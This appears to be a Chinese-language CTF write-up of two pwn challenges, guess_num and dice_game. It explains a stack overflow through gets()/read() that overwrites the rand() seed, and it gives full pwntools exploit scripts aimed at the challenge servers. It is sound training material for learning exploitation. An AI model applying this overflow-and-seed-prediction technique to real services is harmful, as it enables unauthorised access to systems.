Featured image of post Pwn-guess_num

Pwn-guess_num

guess_num

来自 xctf 的题目
附件是一个猜数字的程序,只要猜错就会“GG”。

通过 file 查看该文件是 64 位 elf 文件,checksec 发现有堆栈金丝雀保护。
简单分析程序后直接上 ida pro 进行反汇编:

这里使用 srand() 和 rand() 获得伪随机数,如果成功获得就进入 sub_C3E() 里面有 system 函数获得 flag。
对此,我们需要得到种子,这里 seed[0] 存储种子,但是又发现种子是靠 sub_BB0() 函数获得的,而 sub_BB0() 靠 /dev/urandom 获得随机数,基本上就是说种子是随机的,那么随机数也大抵是很随机的……
不过呢,前面输入名字获得字符串使用的是 gets(),给了我们溢出覆盖空间的可能。
点击 v7 看看函数栈里面的布局,发现:
v7(var_30) 往下就是 seed 的空间,它们之间只差了 0x20 字节。显然我们可以通过 gets() 的漏洞改写 seed 内的数据。
改写了 seed 的数据就相当于我们可以自己定义种子,那么随机数也就能够知道了。
由此可以写 python 脚本开始 pwn!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("/lib/libc.so.6")
libc.srand(0)
r = remote("61.147.171.103", 59083)
payload = b'a' * (0x30 - 0x10) + p64(0)
r.sendlineafter("Your name:", payload)

for i in range(10):
    num = str(libc.rand() % 6 + 1).encode()
    r.sendlineafter("Please input your guess number:", num)

r.interactive()

这里使用 ctypes 来 python 内运行 srand 和 rand 函数。

1
libc = cdll.LoadLibrary("/lib/libc.so.6")

使用 libc 运行库,然后运行 srand(0) 种子。后面我们就是要将 seed 种子改写成 0。

1
payload = b'a' * (0x30 - 0x10) + p64(0)

攻击载荷显而易见,0x20 个 a 溢出,然后改写为 0。
这个载荷在输出 “Your name:” 之后注入。

最后是循环 10 次写入对应随机数,随机数计算如下

1
num = str(libc.rand() % 6 + 1).encode()

.encode() 方法把 str 转换为 byte 类型。
10 次结束都正确就进入 sub_C3E() 函数然后获得 flag ,pwn 成功。

后续-第一道没有看 wp 写出来的 pwn!!!

攻防世界的 dice_game
附件带有 libc.so.6 应该是要用到的。首先查看保护:

1
2
3
4
5
6
7
❯ pwn checksec --file=dice_game
[*] '/data/Hack/tmp/801f9cd458f140e8a7d780f058c4a849/dice_game'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

64 位,开了 NX 保护和 PIE,所幸没有 canary 保护,可以使用栈溢出。
给可执行权限后跑一下(其实严谨点应该先 patchelf libc 的,但是这里没有,也不需要):

1
2
3
4
5
6
7
❯ ./dice_game
Welcome, let me know your name: s
Hi, s. Let's play a game.
Game 1/50
Give me the point(1~6): 2
You lost.
Bye bye!

输入名字就好像是猜数字一样,错一次就退出程序了。

进 ida pro 查看反编译伪 c 代码:
不出所料,发现了 srand 和 seed.
很明显的 srand 初始化种子,种子用的 time(0) 比较的随机,应该寻找到一个地方进行溢出覆盖掉 seed[0]。
看看输入名字的 read,这里 可以输入 0x50,也就是 80 字节的数据,但是 buf 就 55 字节,然后我们查看栈空间: buf 和 seed 之间差了 0x40 ,也就是 64 字节。实际就是 55 + 9,这里 9 是 var19 和 var_18 ,看 main 好像另有用处,但是我尝试了下直接覆盖掉也没关系?
var_19 对应伪代码的 seed ,var_18 对应 v6 。v6 是 raed 的返回值,直接覆盖掉也没什么事。

1
2
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;

buf[v6-1] = 0 也不要紧。

我们的覆盖载荷应该要 55+9 ,后面就可以直接覆盖 seed[0],直接一个 p64(0) 就可以把种子变成 0,后面我们调用 libc 直接开随机数就好了。
再看看猜数字的过程,当 50 次满后进入 sub_B28 函数,该函数直接读了 flag 文件。
也就是说,我们猜对 50 次后就可以拿到 flag,调用 libc 上一题已经写得很清楚了,直接上 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python

from pwn import *
from ctypes import *

libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(0)
#context(log_level='debug', os='linux')
p = remote("61.147.171.103", 53368)
payload = b'a' * (55 + 9) + p64(0)
p.recvuntil(b"now your name: ")
p.send(payload)

for i in range(50):
    sum = libc.rand() % 6 + 1
    p.recvuntil(b"Give me the point(1~6): ")
    p.sendline(str(sum).encode())

p.interactive()
萌ICP备20241614号